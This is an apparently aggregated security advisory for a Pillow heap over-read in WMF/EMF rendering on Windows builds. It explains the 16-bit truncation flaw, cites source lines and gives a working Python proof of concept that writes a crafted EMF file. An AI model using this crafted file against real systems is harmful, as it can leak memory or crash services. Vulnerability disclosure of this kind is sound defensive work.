---
schema_version: '1.0'
id: security-20261023-0ccdc7
title: 'CVE-2026-96644: Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension
  truncation (Windows builds)'
url: https://osv.dev/vulnerability/GHSA-9v9v-9qvf-h2hj
url_hash: 0ccdc7001628ccd61d7e16269f9b9986a4bc4ab7bba5f1b569de467f03be0c76
canonical_url: https://osv.dev/vulnerability/GHSA-9v9v-9qvf-h2hj
source: osv:ghsa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2026-96644
- GHSA-9v9v-9qvf-h2hj
- severity:CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N
- pillow
- PyPI
lang: en
published_at: '2026-10-22T16:03:14Z'
fetched_at: '2026-10-23T11:56:14.158590Z'
updated_at: '2026-10-23T13:34:24Z'
status: published
content_hash: 4e3f23dca366360f3c85f73400f17902ee89549d0b4eb5c385dc4b17286133a1
content_changed_at: null
license_note: full
summary: 'Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation
  (Windows builds)'
summary_source: rss
summary_en: 'Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation
  (Windows builds)'
summary_omitted_reason: null
redistribution: true
keywords_en:
- bit
- builds
- cve
- CVE-2026-96644
- dimension
- EMF
- GHSA-9v9v-9qvf-h2hj
- Heap
- library vulnerability
- over-read
- pillow
- PyPI
- rendering
- severity:CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N
- Shay McVeigh
- software security
- truncation
- via
- Windows
- WMF
entities_en:
- name: Shay McVeigh
  type: person
topics_en:
- library vulnerability
- software security
numeric_facts: []
entities:
- name: Shay McVeigh
  type: person
key_facts: []
related: []
related_auto:
- name: Bristol Crown Court
  type: organization
  weight: 1.0
- name: Bristol Magistrates Court
  type: organization
  weight: 1.0
computed_at: '2026-10-23T13:34:23Z'
---

# CVE-2026-96644: Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)

## TL;DR
Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)

## Key Points
- cve / CVE-2026-96644 / GHSA-9v9v-9qvf-h2hj / severity:CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N / pillow / PyPI

## Details
**Severity:** CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N
**Advisory:** GHSA-9v9v-9qvf-h2hj (CVE-2026-96644)

**Details:**
### Summary
On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native `drawwmf` handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.

### Details
The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:

- `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`.

In the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:

- `src/display.c:793-794` assign the 16-bit fields
- `src/display.c:800` sizes the allocation from them
- `src/display.c:827` copies `height * ((width * 3 + 3) & -4)` bytes using the full values

The whole handler is compiled only on Windows (`#ifdef _WIN32`, `src/display.c:33-841`).

### PoC
```python
import struct
from PIL import Image

def L(v):
    return struct.pack("<i", v)

# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
# decompression-bomb check, but the width truncates to 16 bits for the allocation while
# the copy uses 70000.
emf  = b"\x01\x00\x00\x00" + L(88)          # record type + size
emf += L(0) + L(0) + L(70000) + L(1)        # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100)        # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF"                              # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)

im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load()                                   # over-read happens here on a Windows build
```

On Linux the first part is observable: the 88-byte file opens, `size` is `(70000, 1)`, and the bomb check passes. The native over-read only exists on Windows because `Image.core.drawwmf` is compiled out elsewhere (on Linux `im.load()` raises `OSError` instead).

### Impact
CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.

**References:**
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-9v9v-9qvf-h2hj
- https://nvd.nist.gov/vuln/detail/CVE-2026-96644
- https://github.com/python-pillow/Pillow/pull/10120
- https://github.com/python-pillow/Pillow/commit/4cf46bee338304c5c8968fd7f132ba0d40c428b7
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0

_Data: OSV.dev (upstream: ghsa) — https://osv.dev/vulnerability/GHSA-9v9v-9qvf-h2hj_

## Source
元記事: [CVE-2026-96644: Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)](https://osv.dev/vulnerability/GHSA-9v9v-9qvf-h2hj) — published 2026-10-22T16:03:14Z
